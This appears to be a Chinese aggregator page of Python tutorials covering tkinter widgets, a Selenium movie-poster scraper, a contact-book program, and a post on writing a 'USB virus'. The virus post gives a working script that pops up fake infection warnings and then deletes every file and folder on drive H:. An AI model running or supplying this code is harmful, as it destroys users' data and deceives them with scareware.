精华内容
下载资源
问答
  • 教你用Python写界面

    万次阅读 多人点赞 2018-11-18 18:52:54
    作为Pyhon开发者,你迟早都会碰到图形用户界面(GUI)应用开发任务,这时候我们就需要一些界面库来帮助我们快速搭建界面,python的界面库很多,我认识的并不多,这里只列出几种我认识的 1.tkinter Tkinter(也叫Tk...

    好代码本身就是最好的文档。当你需要添加一个注释时,你应该考虑如何修改代码才能不需要注释

    作为Pyhon开发者,你迟早都会碰到图形用户界面(GUI)应用开发任务,这时候我们就需要一些界面库来帮助我们快速搭建界面,python的界面库很多,我认识的并不多,这里只列出几种我认识的

    1.tkinter

    Tkinter(也叫Tk接口)是Tk图形用户界面工具包标准的Python接口。Tk是一个轻量级的跨平台图形用户界面(GUI)开发工具。Tk和Tkinter可以运行在大多数的Unix平台、Windows、和Macintosh系统。

    Tkinter 由一定数量的模块组成。Tkinter位于一个名为_tkinter(较早的版本名为tkinter)的二进制模块中 。Tkinter包含了对Tk的低 级接口模块,低级接口并不会被应用级程序员直接使用,通常是一个共享库(或DLL),但是在一些情况下它也被Python解释器静态链接。

    2.pyqt

    PyQt是Qt库的Python版本。PyQt3支持Qt1到Qt3。 PyQt4支持Qt4。它的首次发布也是在1998年,但是当时它叫 PyKDE,因为开始的时候SIP和PyQt没有分开。PyQt是用SIP写的。PyQt 提供 GPL版和商业版。

    3.wxpython

    wxPython 是 Python 语言的一套优秀的 GUI 图形库,允许 Python 程序员很方便的创建完整的、功能键全的 GUI 用户界面。 wxPython 是作为优秀的跨平台 GUI 库 wxWidgets 的 Python 封装和 Python 模块的方式提供给用户的。

    就如同Python和wxWidgets一样,wxPython也是一款开源软件,并且具有非常优秀的跨平台能力,能够运行在32位windows、绝大多数的Unix或类Unix系统、Macintosh OS X上。

    4.Kivy

    这是一个非常有趣的项目,基于OpenGL ES 2,支持Android和iOS平台的原生多点触摸,作为事件驱动的框架,Kivy非常适合游戏开发,非常适合处理从widgets到动画的任务。如果你想开发跨平台的图形应用,或者仅仅是需要一个强大的跨平台图形用户开发框架,Kivy都是不错的选择。
    5.pygame

    Pygame是跨平台Python模块,专为电子游戏设计,包含图像、声音。建立在SDL基础上,允许实时电子游戏研发而无需被低级语言(如机器语言汇编语言)束缚。

    这个库使用来写游戏的,但是你也可以用来写界面,嘿嘿

    那选择什么库是个人的喜好,但是我推荐尽可能去选择一种通过且学习资料比较多的吧,我这里选择的是tkinter,项目要求比较急,没怎么挑就选了。。。。

    我学习也不是很深,如果你想要进行更深的学习请前往tkinter官方文档

    先来看看Tkinter里面的基础控件

    接下来的代码讲解中你需要导入这些

    from tkinter import *
    from tkinter.tix import Tk, Control, ComboBox  #升级的组合控件包
    from tkinter.messagebox import showinfo, showwarning, showerror #各种类型的提示框

    在进行界面绘制之前你需要初始化Tk()

    root = Tk() # 初始化Tk()

    root便是你布局的根节点了,以后的布局都在它之上

    root.title("hello tkinter")    # 设置窗口标题
    root.geometry("800x1000")    # 设置窗口大小 注意:是x 不是*
    root.resizable(width=True, height=True) # 设置窗口是否可以变化长/宽,False不可变,True可变,默认为True
    root.tk.eval('package require Tix')  #引入升级包,这样才能使用升级的组合控件

    设置一些窗口属性

    1.Label

    再来看看Label,它的属性很多

    activebackground, activeforeground, anchor,
    background, bitmap, borderwidth, cursor,
    disabledforeground, font, foreground,
    highlightbackground, highlightcolor,
    highlightthickness, image, justify,
    padx, pady, relief, takefocus, text,
    textvariable, underline, wraplength
    height, state, width

    太多了,作用基本和名字一样,这里就不一一说了,你可以自己去试试,我说一下常用的属性

    lable = Label(root, text="label", bg="pink",bd=10, font=("Arial",12), width=8, height=3)
    lable.pack(side=LEFT)

     

     

    第一个 要依附的节点
    text 上面显示的字
    bg 背景颜色  也可以传rgb16进制的形式
    bd 边框宽度
    font 字体 第一个是字体样式 第二个是字体大小
    width  height 宽 高
    bitmap 图像
    highlightcolor 高亮时字体颜色
    highlightbackground 高亮时背景颜色
    textvariable 绑定的变量 之后如果变量值发生变动 字也会随之改变
    wraplength 换行控制 如果是50就表示宽度到50就换行显示

    最后你需要调用pack()来把控件布置上去,你可以指定布局方式,可定义的属性也非常多

    # Booleans
    NO=FALSE=OFF=0
    YES=TRUE=ON=1
    
    # -anchor and -sticky
    N='n'
    S='s'
    W='w'
    E='e'
    NW='nw'
    SW='sw'
    NE='ne'
    SE='se'
    NS='ns'
    EW='ew'
    NSEW='nsew'
    CENTER='center'
    
    # -fill
    NONE='none'
    X='x'
    Y='y'
    BOTH='both'
    
    # -side
    LEFT='left'
    TOP='top'
    RIGHT='right'
    BOTTOM='bottom'
    
    # -relief
    RAISED='raised'
    SUNKEN='sunken'
    FLAT='flat'
    RIDGE='ridge'
    GROOVE='groove'
    SOLID = 'solid'
    
    # -orient
    HORIZONTAL='horizontal'
    VERTICAL='vertical'
    
    # -tabs
    NUMERIC='numeric'
    
    # -wrap
    CHAR='char'
    WORD='word'
    
    # -align
    BASELINE='baseline'
    
    # -bordermode
    INSIDE='inside'
    OUTSIDE='outside'
    
    # Special tags, marks and insert positions
    SEL='sel'
    SEL_FIRST='sel.first'
    SEL_LAST='sel.last'
    END='end'
    INSERT='insert'
    CURRENT='current'
    ANCHOR='anchor'
    ALL='all' # e.g. Canvas.delete(ALL)
    
    # Text widget and button states
    NORMAL='normal'
    DISABLED='disabled'
    ACTIVE='active'
    # Canvas state
    HIDDEN='hidden'
    
    # Menu item types
    CASCADE='cascade'
    CHECKBUTTON='checkbutton'
    COMMAND='command'
    RADIOBUTTON='radiobutton'
    SEPARATOR='separator'
    
    # Selection modes for list boxes
    SINGLE='single'
    BROWSE='browse'
    MULTIPLE='multiple'
    EXTENDED='extended'
    
    # Activestyle for list boxes
    # NONE='none' is also valid
    DOTBOX='dotbox'
    UNDERLINE='underline'
    
    # Various canvas styles
    PIESLICE='pieslice'
    CHORD='chord'
    ARC='arc'
    FIRST='first'
    LAST='last'
    BUTT='butt'
    PROJECTING='projecting'
    ROUND='round'
    BEVEL='bevel'
    MITER='miter'
    
    # Arguments to xview/yview
    MOVETO='moveto'
    SCROLL='scroll'
    UNITS='units'
    PAGES='pages'

    写完这些你运行程序发现还是无法出现界面,那是因为你还少了一句

    root.mainloop()

    加上这句话使程序进入消息循环,界面便会显示出来

    学完了label之后学其他控件也就简单了很多,因为很多属性都是相同的

    2.Button

    button=Button(root,text='QUIT',command=root.quit,activeforeground="black",activebackground='blue',bg='red',fg='white')
    button.pack(fill=Y,expand=1)

    之前说过的属性如果没有特殊情况就不再说了

    command 点击调用的方法
    activeforeground 点击时按钮上字的颜色
    activebackground 点击时按钮的背景颜色

    3.Scale

    def resize(ev=None):
        lable.config(font='Helvetica -%d bold'%scale.get())
    scale=Scale(root,from_=10,to=40,orient=HORIZONTAL,command=resize)
    scale.set(12)
    scale.pack()

    和button不同的是command不再是点击事件了而是拖动事件 ,调用set()方法可以设置当前位置

    from_ 滑动条起始值
    to 滑动条终点值
    origent 样式 两种样式 一横一竖

    4.NumbericUpDown

    ct=Control(root,label='Number:',integer=True,max=12,min=2,value=2,step=2)
    ct.label.config(font='Helvetica 14 bold')
    ct.pack()
    integer 是否为整数
    max 最大值
    min 最小值
    value 初始值
    step 步长

    这是一个数字选择框 其中的字体配置需要使用config()方法来进行配置

    5.ComboBox

    cb=ComboBox(root,label='Type:',editable=True)
    for animal in ('dog','cat','hamster','python'):
        cb.insert(END,animal)
    cb.pack()

    这是一个下拉选择框,label前面要显示的字,editable控制是否可更改

    调用insert()给下拉选择框添加选项

    6.Menu

    def click():
        print("点击了一次")
    menubar=Menu(root)
    root.config(menu=menubar)
    filemenu=Menu(menubar,tearoff=0)
    menubar.add_cascade(label='文件',menu=filemenu)
    filemenu.add_command(label='新建...',command=click())
    filemenu.add_command(label='打开...',command=click())
    filemenu.add_command(label='保存',command=click())
    filemenu.add_command(label='关闭填写',command=root.quit)

    惨淡蓝需要所依附的节点配置menu才能起作用

    调用add_cascade给menu添加一项选项

    带哦用add_command则是给外层的选项添加一个子选项

    7.Frame

    frame1 =Frame(root)
    frame1.pack(fill=X)
    lable1=Label(frame1,text='您的花名:  ')
    lable1.grid(row=1,column=0)

    frame相当于一个局部的窗体,可以用来装载其它控件

    使用grid能让你更容易把握控件的位置,你可以指定它出现在几行几列,是否跨行跨列,跨几行等等

    8.Radiobutton

    frame2=Frame(root)
    frame2.pack(fill=X)
    lable2=Label(frame2,text='您的性别:  ')
    lable2.grid(row=1,column=0)
    sex=StringVar()
    sex_male=Radiobutton(frame2,text='男',fg='blue',variable=sex,value='男')
    sex_male.grid(row=1,column=2)
    sex_female=Radiobutton(frame2,text='女',fg='red',variable=sex,value='女')
    sex_female.grid(row=1,column=4)

    这是一个单选框,里面的属性之前也说过

    9.ListBox

    frame4 =Frame(root)
    frame4.pack(fill=X)
    lable4=Label(frame4,text='4、请删除您不会的变成语言:  ')
    lable4.grid(row=1,column=0)
    listbox=Listbox(frame4)
    listbox.grid(row=1,column=1)
    for item in ["C","C++","JAVA","PYTHON","R","SQL","JS"]:
        listbox.insert(END,item)
    DELETE=Button(frame4,text="删除",command=lambda listbox=listbox:listbox.delete(ANCHOR))
    DELETE.grid(row=1,column=2)
    language=Button(frame4,text="确定")
    language.grid(row=2,column=1)

    这是一个列表,注意这里按钮点击事件的写法是用lambda表达式写的

    10.Canvas

    canvas = Canvas(window, width = 200, height = 100, bg = "White")
    canvas.pack()

    这是一个画板,你可以在上面画各种形状,上例子:

    from tkinter import *
    
    class CanvasDemo:
        def __init__(self):
            window = Tk()
            window.title("CanvasDemo")
    
            self.canvas = Canvas(window, width = 200, height = 100, bg = "White")
            self.canvas.pack()
    
            frame = Frame(window)
            frame.pack()
    
            btRectangle = Button(frame, text = "长方形", command = self.displayRect)
            btOval = Button(frame, text="椭 圆", command=self.displayOval)
            btArc = Button(frame, text = "圆 弧", command = self.displayArc)
            btPolygon = Button(frame, text="多边形", command=self.displayPolygon)
            btLine = Button(frame, text=" 线 ", command=self.displayLine)
            btString = Button(frame, text="文 字", command=self.displayString)
            btClear = Button(frame, text="清 空", command=self.clearCanvas)
    
            btRectangle.grid(row = 1, column = 1)
            btOval.grid(row=1, column=2)
            btArc.grid(row=1, column=3)
            btPolygon.grid(row=1, column=4)
            btLine.grid(row=1, column=5)
            btString.grid(row=1, column=6)
            btClear.grid(row=1, column=7)
    
            window.mainloop()
    
        def displayRect(self):
            self.canvas.create_rectangle(10, 10, 190, 90, tags = "rect")
        def displayOval(self):
            self.canvas.create_oval(10, 10, 190, 90, tags = "oval", fill = "red")
        def displayArc(self):
            self.canvas.create_arc(10, 10, 190, 90, start = -90, extent = 90, width = 5, fill = "red", tags = "arc")
        def displayPolygon(self):
            self.canvas.create_polygon(10, 10, 190, 90, 30, 50, tags = "polygon")
        def displayLine(self):
            self.canvas.create_line(10, 10, 190, 90, fill = 'red', tags = "line")
            self.canvas.create_line(10, 90, 190, 10, width = 9, arrow = "last", activefill = "blue", tags = "line")
        def displayString(self):
            self.canvas.create_text(60, 40, text = "Hi,i am a string", font = "Tine 10 bold underline", tags = "string")
        def clearCanvas(self):
            self.canvas.delete("rect", "oval", "arc", "polygon", "line", "string")
    
    CanvasDemo()

     11.CheckButton

    frame8=Frame(root)
    frame8.pack()
    agree=StringVar()
    agree=Checkbutton(frame8,text='我同意',variable=agree,onvalue='确定',offvalue="不确定",)
    agree.grid()

    这是一个多选框,oncalue代表被勾选时的值,offvalue代表不被勾选时的值

    12.LabelFrame

    frame10=Frame(root)
    frame10.pack()
    group=LabelFrame(frame10,text='特别鸣谢',padx=5,pady=5)
    group.grid()
    w=Label(group,text='容器框')
    w.pack()

    这是个容器框,padx,pady分别控制在x,y方向上的外边距

    差不多这些控件已经够用了,我这还有几个小例子供你练习

    展开全文
  • 如何用Python写病毒

    千次阅读 多人点赞 2020-06-17 12:28:07
    如何用Python写病毒–USB病毒篇 人生苦短,我Python! hello 大家好!我是Mark,一个姓马名克的中国人。 最近呢,又有小伙伴问Mark了,“Mark,你会不会写病毒呀!”,我一听完,愣了一下,问他:“写病毒干啥?...

    如何用Python写病毒–USB病毒篇

    人生苦短,我用Python!

    hello 大家好!我是Mark,一个姓马名克的中国人。

    最近呢,又有小伙伴问Mark了,“Mark,你会不会写病毒呀!”,我一听完,愣了一下,问他:“写病毒干啥?”

    “哎呀,没什么,我只是想试一下而已”
    “喝,这简单!”

    没错,这确实很简单。
    所以,今天Mark就跟大家分享一下,如何通过Python写一个病毒

    (注意一下,今天分享的这个病毒会删除文件,谨慎使用,这里分享只供学习交流)

    一、环境搭建

    本程序用Python编写,不会Python的小伙伴可以参照这篇博客
    传送门!

    我自己的环境是windows10,64位pycharmPython3.7

    二、撸代码!

    接下来,就可以开始写代码了!(本文不需要任何Python基础)

    首先,上代码:

    import os
    import tkinter.messagebox
    import shutil
    

    这里很好理解,导入一些模块。

    那么,会有零基础的朋友问了,什么是模块?

    模块,就相当于文具盒

    为什么这么比喻呢?

    很简单,写一个代码,写一个程序,是不是就像完成一项作业?那么,完成作业需要什么呢?

    没错,需要本子和笔。
    那么现在,我们有了编辑器,是不是就有了本子,那笔去哪里了呢?

    对了,笔在笔盒里面,而模块就是这个文具盒,模块当中所拥有的方法和属性,就相当于文具盒当中的橡皮呀,尺子呀,铅笔呀,钢笔……

    所以,我们如果要用里面的笔,就必须要拿出这个文具盒,明白了?

    接下来,继续上代码!

    root = tkinter.Tk()
    root.withdraw()
    

    这个的作用是消除 tkinter 模块在运行时出现的主窗口。

    其中

    root = tkinter.Tk()
    

    是定义变量名,
    定义变量名更好理解了,大致可以理解为

    给一个东西起一个新名字,更加简短,明了

    下一行

    root.withdraw()
    

    是使用 tkinter 模块当中的一个方法,使其消除主窗口,也就是

    从文具盒当中拿出一支笔,去使用它

    接下来,下一段代码:

    tkinter.messagebox.showerror('错误', '电脑被病毒感染!')
    tkinter.messagebox.showwarning('警告', 'H盘文件已被删除!')
    

    这个代码也是调用 tkinter 模块当中的功能,运行起来是这样的:
    运行
    然后,看下一段代码

    filepath = os.listdir('H:\\')
    

    这一行代码调用 os 模块,读取H盘下所有文件

    res = len(filepath)
    

    这一行,获取H盘下文件的数量

    while res != 0:
        res -= 1
        sen = 'H:/' + str(filepath[res])
        shutil.rmtree(sen)
    

    这是一个 while 语句,也就是循环语句,意思是当 res 这个变量不等于零的时候,执行下面的代码,一遍又一遍,直到 res 等于 0。

    在这个循环语句当中,sen 变量储存了H盘下面所有文件的绝对路径。

    最后一行,通过 shutil 模块中的 rmtree方法,删除 sen 目录下的所有文件

    好了,最后贴一张整体图

    整体感知
    然后是运行效果图

    5.1.病毒运行演示

    展开全文
  • 用Python写爬虫入门篇(三)

    千次阅读 2018-11-28 16:37:26
    用Python写爬虫入门篇(一) 用Python写爬虫入门篇(二) 用Python写爬虫入门篇(三) 我的运行环境 系统版本:Windows10 Python版本:Python3.7 IDE:IDEA(因为平时主要JAVA就没安PyCharm了) (安装适合...

    简介

    最近在学习python,这几篇博文用于个人记录总结,不正之处还望大佬指出。(适合学习过python的同学)
    用Python写爬虫入门篇(一)
    用Python写爬虫入门篇(二)
    用Python写爬虫入门篇(三)

    我的运行环境

    系统版本:Windows10
    Python版本:Python3.7
    IDE:IDEA(因为平时主要用JAVA就没安PyCharm了)
    (安装适合自己的环境即可)

    动态网页问题

    当我们查看源码写爬虫时,有时会发现我们网页中的数据有的并不在源代码中(点击“查看网页源代码(V)”找不到相应元素),为什么呢,因为那是动态网页。和静态网页不同,动态网页显示的内容可以随着时间、环境或者数据库操作的结果而发生改变。那么如何爬取动态网页呢。需要用到今天的新技能:
    浏览器(Chrome+Chromedriver)+Selenium+Python

    技能介绍

    浏览器:其实主流浏览器(只要有相应driver)都能完成我们的任务(模拟正常访问),因为小编用的Chrome,所以以下面的教程就用Chrome写了,需要下载Chrome浏览器和 相应版本的driver(下载地址)
    Selenium:它是一个自动化测试工具。它支持各种浏览器,包括 Chrome,Safari,Firefox 等主流界面式浏览器,可用Python驱动执行模拟正常的访问行为,我们需要安装 Python 的 Selenium 库(pip install selenium),用Selenium可执行页面交互,填充表单,Cookies处理,元素选取等一系列功能,具体功能请查看官网Selenium with Python
    原理:用浏览器解析动态网页,再从相应网页提取有用数据。

    爬取思路

    1. 确定爬取地址与目标数据
    2. 用(Chrome+Chromedriver)+Selenium模拟正常访问
    3. 用BeautifulSoup工具分析页面
    4. 最后将数据存入相应文件夹

    爬取实例:

    接下来让我们来爬一爬好看的电影吧 :
    https://movie.douban.com/tag/#/?sort=S&range=0,10&tags=电影
    以上述URL为例,在此网页,右键点击“查看源代码(V)”
    在这里插入图片描述
    我们再其中查找电影“霸王别姬”元素,可是查找不到,这时我们怎么查找此元素呢在这里插入图片描述
    在原网页,右键点击“检查(N)”,然后按下(CTRL+F)在检查中查找我们想要的元素,这时就可以查找了(例如:霸王别姬)
    在这里插入图片描述
    找到动态网页中我们的目标后,我们再来找到我们想要爬取的内容(电影海报,电影名,评分)
    在这里插入图片描述
    由上图我们可知,所有的电影内容都包含在class="item"的<a>标签中,电影海报在<a>标签中的<span>的src属性中,电影名则在alt属性中,而评分在另一个<span>标签中故我们可以写出如下关键代码:

    all_a = BeautifulSoup(driver.page_source,"lxml").find_all("a",class_="item")
        for a in all_a:
            movie_name = a.img["alt"]#电影名称
            movie_img_url = a.img["src"]#电影图片地址
            movie_score = a.find("span",class_="rate").string#电影评分
    

    (更多BeautifulSoup包用法请查看 Beautiful Soup 4.4.0 文档
    找到元素了,那么我们怎么实现加载更多呢?对的,没错,用Selenium模拟我们的行为,
    我们用刚学会的"检查"方法查找页面的“加载更多”按键,如图:在这里插入图片描述同样,以下是关键代码

    webelement_a = driver.find_element_by_id(id_="app").find_element_by_xpath("div/div/a")# selenium查找元素和XPath路径
        webelement_a.click()
    

    (find_element_by_id和find_element_by_xpath只是众多查找方式中的两种,具体请查看官网Selenium with Python)

    详细代码如下

    (其它的就不过多解释了,也有相应注释)

    from selenium import webdriver
    from bs4 import BeautifulSoup
    import requests
    import os
    import time
    
    class MoviesCover():
    
            def __init__(self):
                self.web_url = "https://movie.douban.com/tag/#/?sort=S&range=0,10&tags=%E7%94%B5%E5%BD%B1"#目标网页
                self.folder_path ="D:\IMGFile" #存储数据的本地地址,改成自己的地址
    
            def save_img(self,url,file_name):
                img = self.request(url)
                print('开始保存图片')
                f = open(file_name,"ab")
                f.write(img.content)
                print('图片保存成功!')
                f.close()
    
            def scroll_down(self, driver, times):
                for i in range(times):
                    print("第", str(i + 1), "次等待网页加载......")
                    time.sleep(5) #根据网速决定时间,当前为5s,网速慢则等待时间长
                    print("开始执行第", str(i + 1),"次加载操作")
                    webelement_a = driver.find_element_by_id(id_="app").find_element_by_xpath("div/div/a")# selenium查找元素和XPath路径
                    webelement_a.click()#找到对应按扭后用模拟浏览器点击它,以实现翻页(其它众多功能请查看官网)
                    print("第", str(i + 1), "次下拉操作执行完毕")
    
            def mkdir(self,path):
                path = path.strip()
                isExists = os.path.exists(path)
                if not isExists:
                    print('创建名字叫做', path, '的文件夹')
                    os.makedirs(path)
                    print('创建成功!')
                    return True
                else:
                    print(path, '文件夹已经存在了,不再创建')
                    return False
    
            def request(self,url):
                r = requests.get(url)
                return r
    
            def get_files(self,path):
                pic_names = os.listdir(path)
                return pic_names
    
            def crawler(self):
                print("start!")
                driver = webdriver.Chrome("D:\Program Files\Python37\Tools\ChromeDriver\chromedriver.exe") #Chrome浏览器的本地驱动地址,也可以把该地址加到环境变量,改成自己的地址
                driver.get(self.web_url)
                self.mkdir(self.folder_path)  # 创建文件夹
                print('开始切换文件夹')
                os.chdir(self.folder_path)  # 切换路径至上面创建的文件夹
                self.scroll_down(driver=driver, times=10)#times是向后翻页的次数
                file_names = self.get_files(self.folder_path)
                all_a = BeautifulSoup(driver.page_source,"lxml").find_all("a",class_="item")
                for a in all_a:
                    movie_name = a.img["alt"]#电影名称
                    print(movie_name)
                    movie_img_url = a.img["src"]#电影图片地址
                    print(movie_img_url)
                    movie_score = a.find("span",class_="rate").string#电影评分
                    print(movie_score)
                    movie_filename = movie_name + "_score_" + movie_score + ".jpg"
                    movie_filename = movie_filename.replace(" ","_") #替换名称中的特殊字符为"_",不然有些不规范的名称会让程序报错
                    movie_filename = movie_filename.replace("/","_")
                    movie_filename = movie_filename.replace('"',"_")
                    if movie_name in file_names:
                        print('电影已经存在,不再重新下载')
                    else:
                        self.save_img(movie_img_url, movie_filename)
    
    movies_cover = MoviesCover()
    movies_cover.crawler()#执行
    
    
    

    爬取结果

    在这里插入图片描述
    恭喜!这几篇文章看完后,你就可以自己写写小爬虫了,后续还要多看看官方文档才是,那就先这样吧,Bye~

    展开全文
  • 用python写一个通讯录

    万次阅读 热门讨论 2018-09-05 23:39:25
    闲着没事,用python写一个模拟通讯录,要求要实现常用的通讯录的功能,基本流程如下 接下来就按照这个流程实现各个模块的功能 一. 定义一个类,并初始化 import json import time class Contact(object): ...

    闲着没事,用python写一个模拟通讯录,要求要实现常用的通讯录的功能,基本流程如下

    接下来就按照这个流程实现各个模块的功能

    一. 定义一个类,并初始化

    import json
    import time
    
    
    class Contact(object):
        def __init__(self):
            with open("contact.txt", 'r', encoding='utf-8') as f:
                self.data = json.loads(f.read())  # 所有联系人列表

    二.  接下来先定义一个方法,实现通讯录的主界面的功能

        def main_menu(self):
            # 主菜单(主页面)
            while True:
                print('通讯录'.center(20, '='))
                menu = {'1': '快速查找',
                        '2': '添加联系人',
                        '3': '显示所有联系人'}
                for k, v in menu.items():
                    print(k + ' ' + v)
                command = input('请选择你的操作>>')
                if command == '1':
                    self.search()
                elif command == '2':
                    self.add_contact()
                elif command == '3':
                    self.show()
                elif command == 'q':
                    print('退出...')
                    break

    调用该方法,就会显示一个主界面,注:整个程序都有“返回”功能,操作命令是按"q"

    用户可以选择“快速查找”(定义了一个search()方法来实现),“添加联系人”(定义了一个add_contact()方法实现),“显示所有联系人”(定义了一个show()方法来实现),然后根据用户的输入如,进入下一个子页面

    下面介绍这几个方法的具体实现过程

    1.  search()方法

        def search(self):
            print('快速查找'.center(20, '='))
            # 可以根据联系人名字查找,也可以根据电话号码查找
            find_info = input('请输入查找信息>>')
            count = 0
            for i in range(len(self.data)):
                if count > len(self.data):
                    print('未找到该联系人')
                    break
                if find_info in self.data[i]['name']:
                    self.person_info(self.data[i])  # 若有该联系人,则进入联系人个人信息页
                elif find_info in self.data[i]['phone_number']:
                    self.person_info(self.data[i])  # 若有该号码,则进入联系人个人信息页
                else:
                    pass
                count += 1

    该方法是根据用户的输入,查找到联系人之后,返回联系人信息。该方法提供两种查找的方法,一种是根据备注名来查找,一种是根据电话号码来查找,若找不到则提示用户未找到,找到则跳转到该联系人的个人信息页

    2. 上面这个方法里面嵌套了一个方法,person_info(),参数是查找到的联系人的个人信息。这个方法的功能是展示某个联系人的个人信息页面,具体实现的过程如下

        def person_info(self, info):
            # 个人信息页
            # find_info 是该联系人的信息字典
            print('已为你找到:{}'.format(info['name']))
            menu = {'1': '查看个人信息', '2': '修改信息', '3': '删除联系人', '4': '呼叫联系人', '5': '呼叫记录'}
            while True:
                print('个人信息页'.center(20, '='))
                for k, v in menu.items():
                    print(k + ' ' + v)
                command = input('请选择操作>>')
                if command == '1':
                    print('姓名:{}\n电话号码:{}\n通话记录:{}'.format(info['name'],
                                                           info['phone_number'], info['call_records']))
                elif command == '2':
                    self.modify_info(info)
                elif command == '3':
                    self.del_contact(info)
                    break  # 删除联系人之后,该联系人的个人信息页就没了,所以就得跳回去
                elif command == '4':
                    self.call(info)
                elif command == '5':
                    self.call_logs(info)
                elif command == 'q':
                    print('返回...')
                    break

    如果正确进入该页的话,将会看到下面这个界面

    然后用户可以根据提示,选择你接下来的操作。根据代码可以看到,从2到5,各个功能都分别定义了一个方法(函数)。下面来介绍一下这几个方法的实现过程

    3.  修改信息

        def modify_info(self, info):
            # 修改联系人信息
            # info是该联系人信息字典
            if info in self.data:
                self.data.remove(info)  # 将所有联系人的列表中的该联系人删除,等修改好之后再后在重新加进去,然后更新通讯录
            menu = {'1': '修改备注', '2': '修改号码', '3': '删除通话记录'}
            while True:
                print('修改信息'.center(20, '='))
                for k, v in menu.items():
                    print(k + ' ' + v)
                command = input('请选择操作>>')
                if command == 'q':
                    print('返回...')
                    break
                if command == '1':
                    info['name'] = input('请输入备注>>')
                elif command == '2':
                    info['phone_number'] = input('请输入号码>>')
                elif command == '3':
                    info['call_records'] = []
                else:
                    continue
            self.data.append(info)  # 将修改过的该联系人信息加入所有联系人信息列表,以待更新通讯录
            # print(self.data)
            self.update_contact()  # 更新通讯录
            print('信息修改成功')

    修改信息可以修改备注、号码、删除通话记录(因为通话记录可以是多条的,所以通话记录是一个列表,删除通话记录就是将该列表变成空列表)

    4.  删除联系人

        def del_contact(self, info):
            # 删除联系人
            try:
                self.data.remove(info)
            except Exception as e:
                print(e)
            self.update_contact()
            print('成功删除联系人: {}'.format(info['name']))

    删除联系人之后,该联系人的个人信息页也就没意义,所以是删除成功就直接回到主页面

    5.  呼叫联系人

        def call(self, info):
            # 呼叫联系人
            print('呼叫{}'.format(info['name']).center(20, '='))
            print('通话中...')
            self.data.remove(info)
            start_time = time.time()
            now_time = time.ctime()
            input('按e挂断电话>>')
            end_time = time.time()
            pass_time = end_time - start_time
            info['call_records'].append(now_time+"通话时长:"+str(pass_time))  # 将本次通话加入通话记录的列表中
            self.data.append(info)
            self.update_contact()
            print('通话结束')

    这儿方法很简单,就是记录开始时间start_time之后,提示用户随时可以结束通话(按e(end)挂断),然后通话结束之后,又会得到一个结束时间end_time,这样通话时长就可以得到了,通话时间就是拨号时的时间。

    5. 呼叫记录

        def call_logs(self, info):
            # 通话记录
            print('呼叫记录'.center(20, '='))
            with open('contact.txt', 'r', encoding='utf-8') as f:
                data_list = json.loads(f.read())
            for data in data_list:
                if data['name'] == info['name']:
                    print(data['call_records'])
                    break
                else:
                    continue

    这个没什么好说的,就是读取通讯录信息,然后打印与该用户的的通话记录就可以了。

    注意,上面的这些代码,牵扯到通讯录信息的增、删、改的,在操作完之后都要将信息重新写入一次,即模拟刷新通讯录,这个刷新通讯录的方法是updata_contact(),代码如下

        def update_contact(self):
            # 刷新通讯录
            with open('contact.txt', 'w', encoding='utf-8') as f:
                try:
                    json.dump(self.data, f, ensure_ascii=False)
                except Exception as e:
                    print('操作失败:%s' % e)

    注,self.data 是通讯录里所有联系人的信息的一个列表,刷新通讯录实际上就是当self.data被修改之后,就重新将它写进通讯录,这样就实现了更新的功能。dump()里面的参数ensure_ascii=False的作用是让输入的中文写入时就是显示中文,而不是unicode编码。

    2.2  主页面中的添加联系人

        def add_contact(self):
            # 添加联系人
            # print(self.data)
            print('添加联系人'.center(20, '='))
            new_contact = dict()
            new_contact['name'] = input('请输入联系人备注>>')
            new_contact['phone_number'] = input('请输入号码>>')
            new_contact['call_records'] = []
            self.data.append(new_contact)
            self.update_contact()  # 更新通讯录
            print('成功添加联系人')

    2.3  主页面中的显示全部联系人(如果不想慢慢查找,可以用这个方法实现显示所有联系人)

        def show(self):
            # 显示所有联系人
            print('所有联系人'.center(20, '='))
            contacts = {}  # 所有联系人的名字
            for i in range(len(self.data)):
                contacts[str(i)] = self.data[i]['name']
                print('{} {}'.format(str(i), self.data[i]['name']))
            command = input('请选择查看联系人>>')
            name = contacts[command]
            for data in self.data:
                if data['name'] == name:
                    self.person_info(data)
                else:
                    continue

    代码中读取文件的方式是用json模块,关于json读写文件的方法,请移步  json、pickle、shelve库的对比使用

    整个程序的代码:

    # --*-- coding:utf-8 --*--
    
    import json
    import time
    
    
    class Contact(object):
    
        def __init__(self):
            with open("contact.txt", 'r', encoding='utf-8') as f:
                self.data = json.loads(f.read())  # 所有联系人列表
                # print(self.data, type(self.data))
    
        def main_menu(self):
            # 主菜单(主页面)
            while True:
                print('通讯录'.center(20, '='))
                menu = {'1': '快速查找',
                        '2': '添加联系人',
                        '3': '显示所有联系人'}
                for k, v in menu.items():
                    print(k + ' ' + v)
                command = input('请选择你的操作>>')
                if command == '1':
                    self.search()
                elif command == '2':
                    self.add_contact()
                elif command == '3':
                    self.show()
                elif command == 'q':
                    print('退出...')
                    break
    
        def search(self):
            print('快速查找'.center(20, '='))
            # 可以根据联系人名字查找,也可以根据电话号码查找
            find_info = input('请输入查找信息>>')
            count = 0
            for i in range(len(self.data)):
                if count > len(self.data):
                    print('未找到该联系人')
                    break
                if find_info in self.data[i]['name']:
                    self.person_info(self.data[i])  # 若有该联系人,则进入联系人个人信息页
                elif find_info in self.data[i]['phone_number']:
                    self.person_info(self.data[i])  # 若有该号码,则进入联系人个人信息页
                else:
                    pass
                count += 1
    
        def person_info(self, info):
            # 个人信息页
            # find_info 是该联系人的信息字典
            print('已为你找到:{}'.format(info['name']))
            menu = {'1': '查看个人信息', '2': '修改信息', '3': '删除联系人', '4': '呼叫联系人', '5': '呼叫记录'}
            while True:
                print('个人信息页'.center(20, '='))
                for k, v in menu.items():
                    print(k + ' ' + v)
                command = input('请选择操作>>')
                if command == '1':
                    print('姓名:{}\n电话号码:{}\n通话记录:{}'.format(info['name'],
                                                           info['phone_number'], info['call_records']))
                elif command == '2':
                    self.modify_info(info)
                elif command == '3':
                    self.del_contact(info)
                    break  # 删除联系人之后,该联系人的个人信息页就没了,所以就得跳回去
                elif command == '4':
                    self.call(info)
                elif command == '5':
                    self.call_logs(info)
                elif command == 'q':
                    print('返回...')
                    break
    
        def call_logs(self, info):
            # 通话记录
            print('呼叫记录'.center(20, '='))
            with open('contact.txt', 'r', encoding='utf-8') as f:
                data_list = json.loads(f.read())
            for data in data_list:
                if data['name'] == info['name']:
                    print(data['call_records'])
                    break
                else:
                    continue
    
        def call(self, info):
            # 呼叫联系人
